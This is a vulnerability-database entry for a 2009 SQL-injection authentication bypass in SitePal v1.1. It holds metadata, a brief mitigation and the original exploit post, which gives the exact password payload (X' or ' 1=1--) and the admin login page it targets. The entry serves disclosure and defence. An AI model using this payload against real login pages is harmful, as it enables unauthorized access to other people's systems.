SitePal v1.1(Auth Bypass) Remote SQL Injection Vulnerability

vendor:

SitePal

by:

R3d-D3v!L

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: SitePal

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:sitepal:sitepal:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

SitePal v1.1(Auth Bypass) Remote SQL Injection Vulnerability

A vulnerability exists in SitePal v1.1 which allows an attacker to bypass authentication and gain access to the application. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with a username of 'admin' and a password of 'X' or '1=1--' to the server/SitePalDemo/z_admin_login.asp page.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

[~] SitePal v1.1(Auth Bypass) Remote SQL Injection Vulnerability
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.12.2009
[~] 7!M3:1-35
[~] Home: www.Xp10.ME
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:


username:admin
password: X' or ' 1=1--

[~] admin login for demo:

server/SitePalDemo/z_admin_login.asp



[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & ab0 mohammed & XP_10 h4CK3R&  JASM!N & c0prA & MY-M!ND ;)
[~]
[~] mkank.com
[~] spechial thanks :{off-s3c} & ((dolly)) & ((7am3m)) & dev!l_mody & 0R45hy & meg4 ;)
[~]
[?] 4.!.5 ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA--.....
[~]
[~]I4M:4r48!4N-3XPLO!73R

[~]
[~]--------------------------------------------------------------------------------